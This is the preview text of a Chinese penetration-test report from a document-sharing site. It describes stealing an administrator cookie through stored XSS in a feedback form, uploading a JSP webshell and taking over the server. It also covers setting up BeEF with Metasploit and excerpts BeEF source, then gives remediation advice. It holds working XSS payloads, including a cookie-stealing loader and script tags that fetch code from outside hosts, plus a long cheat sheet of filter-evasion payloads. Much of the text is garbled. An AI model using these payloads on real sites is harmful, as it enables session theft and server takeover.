XSS滲透攻擊演練v20_第1頁
XSS滲透攻擊演練v20_第2頁
XSS滲透攻擊演練v20_第3頁
XSS滲透攻擊演練v20_第4頁
XSS滲透攻擊演練v20_第5頁
已閱讀5頁,還剩22頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

1、XSS滲透攻擊演練 內(nèi)部公開 請勿外傳XSS滲透攻擊演練郭秀峰2013.6.30前言 跨站攻擊,即 Cross Site Script Execution( 通常簡寫為 XSS ,因 CSS 與層疊樣式表同名,故改為XSS) 是指攻擊者利用網(wǎng)站程序?qū)τ脩糨斎脒^濾不足,輸入可以顯示在頁面上對其他用戶造成影響HTML 代碼,從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。很多人對于 XSS 的利用大多停留在彈框框的程度,一些廠商對 XSS 也是不

2、以為然,都認(rèn)為安全級別很低,甚至忽略不計。本文旨在講述關(guān)于跨站攻擊的利用方式,并結(jié)合實例進行分析。滲透演練過程滲透演練發(fā)現(xiàn)網(wǎng)站反饋模塊可以提交任意腳本代碼進入服務(wù)器后臺,包括引起跨站的特定的javascript惡意腳本,如圖所示我構(gòu)造的截取cookie的腳本代碼,已經(jīng)成功的提交到了網(wǎng)站后臺。Xss攻擊代碼</textarea>'"><script src=或者</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/

3、var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F%2F3E3nja%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source);/> 經(jīng)過一天的等待,網(wǎng)站管理員后臺登錄并查看我的我提交的腳本代碼,跨站漏洞攻擊平臺順利的接收到了發(fā)來的cookie身份認(rèn)證信息,如圖所示:利用f

4、irefox修改瀏覽器cookie為截取到的cookie,成功冒充管理員欺騙服務(wù)器進入管理后臺查看反饋信息: 后臺登錄url為:http:/118.194.61.XXX/admin.do成功進入后臺管理系統(tǒng);并可以對所有欄目操作。包括CEO的微博帳號設(shè)置等。后臺還包含上傳功能,經(jīng)滲透測試發(fā)現(xiàn)可以上傳指定jsp腳本木馬文件。成功上傳jsp木馬腳本到服務(wù)器目錄;url為 http:/wwww.XXX.com/pub/129/2013/files/job.jsp連接進入順利執(zhí)行指定jsp木馬,可以接管目標(biāo)服務(wù)器,上傳下載,新建刪除網(wǎng)站文件等,甚至可以執(zhí)行系統(tǒng)命令。如圖所示:XSS滲透之BE

5、EF利用 BeEF是一個用于合法研究和測試目的的專業(yè)瀏覽器漏洞利用框架。它允許有經(jīng)驗的滲透測試人員或系統(tǒng)管理員對目標(biāo)進行攻擊測試。攻擊成功以后會加載瀏覽器劫持會話。BeFF,它擴展了跨站漏洞的利用,能hook很多瀏覽器(IE和Firefox等)并可以執(zhí)行很多內(nèi)嵌命令。BeEF是目前歐美最流行的web框架攻擊平臺,它的全稱是 the Browser exploitation framework project.通過XSS這個簡單的漏洞,BeEF可以通過一段編制好的javascript控制目標(biāo)主機的瀏覽器,通過瀏覽器拿到各種信息并且掃描內(nèi)網(wǎng)信息,同時能夠配合metasploit進一步滲透主機,強大

6、的有些嚇人。BEEF項目地址:二、安裝BeEF先下載Beef最新版本$ svn checkout beef$ ruby install選擇第一項自動安裝需要的相關(guān)gems即可,也可以選擇2按照提示一個一個進行安裝,安裝完成后就可以直接啟動了$ ruby beef -x三、使用說明3.1 啟動BeEF安裝完成后,啟動BeEF#./beef命令行中顯示的UI URL以后即為WEB接口,用瀏覽器打開,輸入默認(rèn)密碼beef/beef,即可進入BeEF管理頁面按照提示,假設(shè)此時目標(biāo)的服務(wù)器訪問了這個demo頁面52:3000/demo

7、s/basic.html。則就被hook上了,如下圖所示 3.2 實施攻擊HOOK持續(xù)的時間為關(guān)閉測試頁面為止。在此期間,相當(dāng)于被控制了,可以發(fā)送攻擊命令了。選擇commands欄,可以看到很多已經(jīng)分好類的攻擊模塊。其中,4種顏色分別表示: 該攻擊模塊可用,且隱蔽性強該攻擊模塊可用,但隱蔽性差該用戶模塊是否可用還有待驗證該攻擊模塊不可用      例如,選取MISC下的Raw JavaScript模塊作為測試用例,右端表格有該模塊的詳細(xì)說明,以及一些可選的參數(shù)等。輸入Javascript code,點擊Excute

8、進行攻擊,效果如下圖所示3.3  Proxy功能選中目標(biāo)主機,點右鍵,在菜單中選中Use as Proxy 然后再Rider選項卡中的Forge Request 編輯并發(fā)送想要發(fā)送的內(nèi)容 通過查看目標(biāo)瀏覽器firebug記錄,可以確信確實發(fā)送了該http,達(dá)到了代理效果。同時Rider下的History選項也記錄了發(fā)送歷史記錄四、Metasploit組合         由于BeEF默認(rèn)是不加載metasploit的,要使用Metasploit豐富的攻擊模塊,需要做些配置。BT5下,首

9、先到beef目錄下修改/pentest/web/beef/config.yaml文件,將其中的metasploit選項改為enable,如下所示: 然后查看/pentest/web/beef/extensions/metasploit/config.yaml。查看到其中的pass默認(rèn)為abc123,這是與metasploit通信約定的密碼。轉(zhuǎn)到msf目錄 /opt/metasploit/msf3/。新建一個 beef.rc文件,內(nèi)容為load msgrpc ServerHost= Pass=abc123 從而實現(xiàn)與beef的通信。啟動msfconsole,

10、#msfconsole r beef.rc,如下圖所示,順利啟動服務(wù)。 現(xiàn)在可以啟動beef了,啟動后,可以看到BEEF加載了204個metasploit的攻擊模塊 頁面如圖,現(xiàn)在可以使用metasploit的模塊進行攻擊了。  五、實現(xiàn)原理5.1 簡述    BEEF 采用ruby語言編寫,其目錄結(jié)構(gòu)如下所示:   除去一些安裝和說明文件,Beef最主要的目錄有三個,core、extension和modules。BEEF的核心文件在core目錄下,各種擴展功能在extension目錄下,mod

11、ules則為攻擊模塊目錄。 5.2 Core         Core目錄是BEEF的核心目錄,并負(fù)責(zé)加載extension和module。其中最關(guān)鍵的文件位于coremain目錄下,其文件結(jié)構(gòu)如下所示: Client目錄下均為js文件,是在受控客戶端(hooked browser)使用的js文件,包括net、browser、encode、os等的實現(xiàn),以update.js為例,在coremainclientupdate.js中可以看到,定義了beef.updater,設(shè)置每隔5秒check一次

12、是否有新的命令,如果有,則獲取并執(zhí)行之。Console目錄用于命令行控制Constants目錄定義了各種常量Handlers目錄主要用于處理來自受控客戶端連接請求。Models 定義了一些基本的類Rest目錄:即WEB服務(wù)基于REST原則,是一種輕量級的HTTP實現(xiàn)。 在server.rb中可看到,是通過mount的形式將資源與URL相對應(yīng),即它不是一個簡單的WEB目錄服務(wù),任何需要http服務(wù)的資源,都需要先mount才能使用。  def mount(url, http_handler_class, args = nil)    &

13、#160;   # argument type checking        raise Exception:TypeError, ”url” needs to be a string if not url.string?         if args = nil          mountsurl = http_handler_c

14、lass        else          mountsurl = http_handler_class, *args        end        print_debug(“Server: mounted handler #url”)    &

15、#160; end          self.mount(“/init”, BeEF:Core:Handlers:BrowserDetails)             # Rack mount points        rack_app = Rack:URLMap.new(mounts)    

16、;         # Create the BeEF http server          http_server = Thin:Server.new(              configuration.get(beef.http.host),    

17、0;         configuration.get(beef.http.port),              rack_app)5.3 extensions         Extention目錄下為各種擴展應(yīng)用 其中幾個extension的作用如下:Admin_ui: 實現(xiàn)了一個WEB界面

18、的控制后臺。Metasploit: 與metasploit互通相關(guān)的設(shè)置。Requester: 負(fù)責(zé)處理HTTP請求,其文件如下所示: 其中:Extension.rb 是每個擴展必有的文件,是加載該擴展的接口文件。Config.yaml為作者和該擴展相關(guān)信息。Api.rb為自身注冊的一些API函數(shù)。Models定義了一個http模型對象,例如,其中有個has_run屬性,當(dāng)請求未發(fā)送時,其值為”waiting”,發(fā)送攻擊時,遍歷狀態(tài)為”waiting”的模塊,并發(fā)送http請求。Handler.rb 主要是處理http響應(yīng),收到響應(yīng)后將相應(yīng)的模塊has_run狀態(tài)置為complete

19、,并保存到數(shù)據(jù)庫。 5.4 modules   Modules集合了BEEF的各個攻擊模塊,一般一個攻擊模塊分為3個文件:command.js、config.yaml、module.rb。這樣的結(jié)構(gòu)可以很方便地進行模塊添加,易于擴展。Config.yaml: 攻擊模塊相關(guān)信息,如名稱、描述、分類、作者、適用場景等Module.rb:文件定義了該攻擊模塊的類,繼承了BEFF:Core:Command類,在通用command類的基礎(chǔ)上定義一些該模塊特有的處理函數(shù),如使用較多的一個函數(shù)是post_execute,即攻擊進行后進行的操作(一般為保存結(jié)果),如下所示。cla

20、ss Browser_fingerprinting < BeEF:Core:Command    def post_execute    content =     content'browser_type' = datastore'browser_type' if not datastore'browser_type'.nil?    content'browser_version' = datastor

21、e'browser_version' if not datastore'browser_version'.nil?    if content.empty?      content'fail' = Failed to fingerprint browser.    end    save content  end endCommand.js: 即為攻擊代碼,攻擊時讀取此js并發(fā)送給受控客

22、戶端。以detect_firebug模塊的command.js為例,代碼如下所示:beef.execute(function()           var result = “Not in use or not installed”;         if (window.console && (window.console.firebug | window.console.exception) result

23、 = “Enabled and in use!”;         .send(“<%= command_url %>”, <%= command_id %>, “firebug=”+result););         代碼很簡單,在受控客戶端執(zhí)行取得結(jié)果之后,將結(jié)果返回給server端。B在core/main/client目錄下定義。在 Core目錄下的Command.rb中,可以看到加載過程,首先判斷該攻擊

24、模塊的command.js是否存在,如存在,就讀取到eruby,可能還需要進行參數(shù)替換,所以需要進行evaluate操作。      def output         f = path+command.js        (print_error “#f file does not exist”;return) if not File.exists? f   &#

25、160;     command = BeEF:Core:Models:Command.first(:id => command_id)         eruby = Erubis:FastEruby.new(File.read(f)         data = BeEF:Core:Configuration.instance.get(“beef.module.#key”) &

26、#160;      cc = BeEF:Core:CommandContext.new        cc'command_url' = default_command_url        cc'command_id' = command_id        JSON.parse(command'

27、;data').each|v|          ccv'name' = v'value'                if self.respond_to?(:execute)          self.execute &#

28、160;      end        output = eruby.evaluate(cc)         output      end 總結(jié)通過本次滲透測試一步一步利用系統(tǒng)存在的漏洞不斷獲取系統(tǒng)權(quán)限,這里邊利用的漏洞有這么幾個一個是網(wǎng)站對外開放反饋那里的提交頁面,對于客戶端提交的惡意腳本代碼,沒有做輸入的過濾處理或者后臺顯示的時

29、候沒有做輸出編碼處理,給跨站代碼的運行留下了可趁之機。另一個是網(wǎng)站后臺提供上傳的地方?jīng)]有做任何的過濾哪怕是文件后綴的過濾都沒有做,導(dǎo)致可以直接上傳植入惡意腳本后門文件。建議鑒于以上兩個漏洞,我們提供如下建議:跨站方面:對網(wǎng)站上所有能提交到后臺的反饋信息處,限制客戶端的輸入過濾一些危險字符比如< >? /; 等特殊字符,在輸出的地方對客戶端輸入的字符在服務(wù)端做轉(zhuǎn)義處理然后再發(fā)送給瀏覽器顯示。同時也可以在后臺cookie設(shè)置的時候cookie屬性加入httponly屬性,指定cookie信息通過http傳輸,這樣后臺即使存在了跨站腳本也讀取不到管理員的cookie。上傳文件方面:對后臺

30、上傳文件地方做白名單過濾機制,只允許如JPG、GIF等上傳。附:XSS滲透攻擊代碼匯總(1)普通的XSS JavaScript注入<SCRIPT SRC=http:/3/XSS/xss.js></SCRIPT>(2)IMG標(biāo)簽XSS使用JavaScript命令<SCRIPT SRC=http:/3/XSS/xss.js></SCRIPT>(3)IMG標(biāo)簽無分號無引號<IMG SRC=javascript:alert(XSS)>(4)IMG標(biāo)簽大小寫不敏感<IMG SRC=JaVaScRiPt:alert(XS

31、S)>(5)HTML編碼(必須有分號)<IMG SRC=javascript:alert(“XSS”)>(6)修正缺陷IMG標(biāo)簽<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>(7)formCharCode標(biāo)簽(計算器)<IMG SRC=javascript:alert(String.fromCharCode(88,83,83)>(8)UTF-8的Unicode編碼(計算器)<IMG SRC=jav.省略.S')>(9)7位的UTF-8的Unicode編碼是沒有

32、分號的(計算器)<IMG SRC=jav.省略.S')>(10)十六進制編碼也是沒有分號(計算器)<IMG SRC=&#x6A&#x61&#x76&#x61.省略.&#x58&#x53&#x53&#x27&#x29>(11)嵌入式標(biāo)簽,將Javascript分開<IMG SRC=”jav ascript:alert(XSS);”>(12)嵌入式編碼標(biāo)簽,將Javascript分開<IMG SRC=”jav ascript:alert(XSS);”>(13)嵌入式換行符

33、<IMG SRC=”jav ascript:alert(XSS);”>(14)嵌入式回車<IMG SRC=”jav ascript:alert(XSS);”>(15)嵌入式多行注入JavaScript,這是XSS極端的例子<IMG SRC=”javascript:alert(XSS)”>(16)解決限制字符(要求同頁面)<script>z=document.</script><script>z=z+write(“</script><script>z=z+<script</script&g

34、t;<script>z=z+ src=ht</script><script>z=z+tp:/ww</script><script>z=z+w.shell</script><script>z=z+.net/1.</script><script>z=z+js></sc</script><script>z=z+ript>”)</script><script>eval_r(z)</script>(17)空字符perl

35、-e print “<IMG SRC=java0script:alert(”XSS”)>”; > out(18)空字符2,空字符在國內(nèi)基本沒效果.因為沒有地方可以利用perl -e print “<SCR0IPT>alert(”XSS”)</SCR0IPT>”; > out(19)Spaces和meta前的IMG標(biāo)簽<IMG SRC=” javascript:alert(XSS);”>(20)Non-alpha-non-digit XSS<SCRIPT/XSS SRC=”http:/3/XSS/xss.js”></SCRIPT>(21)Non-alpha-non-digit XSS to 2<BODY onload!#$%&()*+-_.,:;?/|=alert(“XSS”)>(22)Non-alpha-non-digit XSS to 3<SCRIPT/S

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論